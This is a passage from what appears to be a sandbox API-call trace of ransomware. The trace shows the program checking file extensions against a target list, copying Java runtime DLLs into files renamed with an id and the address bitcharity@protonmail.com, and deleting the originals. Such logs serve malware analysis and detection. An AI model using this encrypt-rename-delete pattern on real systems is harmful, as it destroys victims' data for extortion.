(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.774] lstrlenW (lpString=".zip") returned 4 [0298.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString=".rar") returned 4 [0298.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString=".bz2") returned 4 [0298.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.774] lstrlenW (lpString=".7z") returned 3 [0298.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.774] lstrlenW (lpString=".dbf") returned 4 [0298.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.774] lstrlenW (lpString=".1cd") returned 4 [0298.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.774] lstrlenW (lpString=".jpg") returned 4 [0298.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.774] lstrlenW (lpString=".doc") returned 4 [0298.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString=".docx") returned 5 [0298.774] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.774] lstrlenW (lpString=".pdf") returned 4 [0298.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString=".xls") returned 4 [0298.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString=".xlsx") returned 5 [0298.774] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.774] lstrlenW (lpString=".ppt") returned 4 [0298.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.774] lstrlenW (lpString=".zip") returned 4 [0298.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString=".rar") returned 4 [0298.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.774] lstrlenW (lpString=".bz2") returned 4 [0298.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.775] lstrlenW (lpString=".7z") returned 3 [0298.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.775] lstrlenW (lpString=".dbf") returned 4 [0298.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.775] lstrlenW (lpString=".1cd") returned 4 [0298.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.775] lstrlenW (lpString=".jpg") returned 4 [0298.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.775] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.775] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23 [0298.775] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0298.775] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=142400) returned 1 [0298.775] CloseHandle (hObject=0x10e8) returned 1 [0298.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0298.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0298.776] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.776] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0298.776] GetLastError () returned 0x0 [0298.776] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x22c40, lpOverlapped=0x0) returned 1 [0298.965] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x22c50, lpOverlapped=0x0) returned 1 [0298.968] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.968] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x102, lpOverlapped=0x0) returned 1 [0298.968] SetEndOfFile (hFile=0x10d4) returned 1 [0299.000] CloseHandle (hObject=0x10d4) returned 1 [0299.000] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.000] SetEndOfFile (hFile=0x10e8) returned 1 [0299.002] CloseHandle (hObject=0x10e8) returned 1 [0299.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.002] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1 [0299.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.002] lstrlenW (lpString=".doc") returned 4 [0299.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.002] lstrlenW (lpString=".docx") returned 5 [0299.002] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0299.002] lstrlenW (lpString=".pdf") returned 4 [0299.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.002] lstrlenW (lpString=".xls") returned 4 [0299.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.002] lstrlenW (lpString=".xlsx") returned 5 [0299.002] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0299.002] lstrlenW (lpString=".ppt") returned 4 [0299.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.002] lstrlenW (lpString=".zip") returned 4 [0299.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.002] lstrlenW (lpString=".rar") returned 4 [0299.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.002] lstrlenW (lpString=".bz2") returned 4 [0299.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.003] lstrlenW (lpString=".7z") returned 3 [0299.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.003] lstrlenW (lpString=".dbf") returned 4 [0299.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.003] lstrlenW (lpString=".1cd") returned 4 [0299.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.003] lstrlenW (lpString=".jpg") returned 4 [0299.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.003] lstrlenW (lpString=".doc") returned 4 [0299.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.003] lstrlenW (lpString=".docx") returned 5 [0299.003] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0299.003] lstrlenW (lpString=".pdf") returned 4 [0299.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.003] lstrlenW (lpString=".xls") returned 4 [0299.003] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.003] lstrlenW (lpString=".xlsx") returned 5 [0299.003] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0299.003] lstrlenW (lpString=".ppt") returned 4 [0299.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.003] lstrlenW (lpString=".zip") returned 4 [0299.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.003] lstrlenW (lpString=".rar") returned 4 [0299.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.003] lstrlenW (lpString=".bz2") returned 4 [0299.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.003] lstrlenW (lpString=".7z") returned 3 [0299.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.004] lstrlenW (lpString=".dbf") returned 4 [0299.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.004] lstrlenW (lpString=".1cd") returned 4 [0299.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0299.004] lstrlenW (lpString=".jpg") returned 4 [0299.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.004] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.004] lstrlenW (lpString="javafx_iio.dll") returned 14 [0299.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.004] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=128064) returned 1 [0299.004] CloseHandle (hObject=0x10e8) returned 1 [0299.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0299.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.005] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.005] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.005] GetLastError () returned 0x0 [0299.005] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x1f440, lpOverlapped=0x0) returned 1 [0299.118] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x1f450, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x1f450, lpOverlapped=0x0) returned 1 [0299.121] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.121] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0299.121] SetEndOfFile (hFile=0x10d4) returned 1 [0299.121] CloseHandle (hObject=0x10d4) returned 1 [0299.121] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.121] SetEndOfFile (hFile=0x10e8) returned 1 [0299.123] CloseHandle (hObject=0x10e8) returned 1 [0299.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.123] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 1 [0299.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.123] lstrlenW (lpString=".doc") returned 4 [0299.123] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.123] lstrlenW (lpString=".docx") returned 5 [0299.123] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0299.123] lstrlenW (lpString=".pdf") returned 4 [0299.123] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.123] lstrlenW (lpString=".xls") returned 4 [0299.123] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.123] lstrlenW (lpString=".xlsx") returned 5 [0299.123] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0299.123] lstrlenW (lpString=".ppt") returned 4 [0299.123] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.123] lstrlenW (lpString=".zip") returned 4 [0299.123] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString=".rar") returned 4 [0299.124] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString=".bz2") returned 4 [0299.124] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.124] lstrlenW (lpString=".7z") returned 3 [0299.124] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.124] lstrlenW (lpString=".dbf") returned 4 [0299.124] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.124] lstrlenW (lpString=".1cd") returned 4 [0299.124] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.124] lstrlenW (lpString=".jpg") returned 4 [0299.124] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.124] lstrlenW (lpString=".doc") returned 4 [0299.124] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString=".docx") returned 5 [0299.124] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0299.124] lstrlenW (lpString=".pdf") returned 4 [0299.124] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString=".xls") returned 4 [0299.124] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString=".xlsx") returned 5 [0299.124] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0299.124] lstrlenW (lpString=".ppt") returned 4 [0299.124] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.124] lstrlenW (lpString=".zip") returned 4 [0299.124] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.124] lstrlenW (lpString=".rar") returned 4 [0299.125] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.125] lstrlenW (lpString=".bz2") returned 4 [0299.125] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.125] lstrlenW (lpString=".7z") returned 3 [0299.125] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.125] lstrlenW (lpString=".dbf") returned 4 [0299.125] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.125] lstrlenW (lpString=".1cd") returned 4 [0299.125] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll") returned 53 [0299.125] lstrlenW (lpString=".jpg") returned 4 [0299.125] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.125] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.125] lstrlenW (lpString="JAWTAccessBridge-64.dll") returned 23 [0299.125] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.125] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=15424) returned 1 [0299.126] CloseHandle (hObject=0x10e8) returned 1 [0299.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0299.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.126] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.126] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.127] GetLastError () returned 0x0 [0299.127] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x3c40, lpOverlapped=0x0) returned 1 [0299.255] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x3c50, lpOverlapped=0x0) returned 1 [0299.256] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.256] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x102, lpOverlapped=0x0) returned 1 [0299.256] SetEndOfFile (hFile=0x10d4) returned 1 [0299.256] CloseHandle (hObject=0x10d4) returned 1 [0299.256] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.256] SetEndOfFile (hFile=0x10e8) returned 1 [0299.257] CloseHandle (hObject=0x10e8) returned 1 [0299.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.257] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1 [0299.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.257] lstrlenW (lpString=".doc") returned 4 [0299.257] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.257] lstrlenW (lpString=".docx") returned 5 [0299.257] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0299.257] lstrlenW (lpString=".pdf") returned 4 [0299.257] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.257] lstrlenW (lpString=".xls") returned 4 [0299.257] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.257] lstrlenW (lpString=".xlsx") returned 5 [0299.257] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0299.257] lstrlenW (lpString=".ppt") returned 4 [0299.258] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.258] lstrlenW (lpString=".zip") returned 4 [0299.258] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".rar") returned 4 [0299.258] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".bz2") returned 4 [0299.258] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.258] lstrlenW (lpString=".7z") returned 3 [0299.258] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.258] lstrlenW (lpString=".dbf") returned 4 [0299.258] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62 [0299.258] lstrlenW (lpString=".1cd") returned 4 [0299.258] lstrcmpiW (lpString1=".1cd", 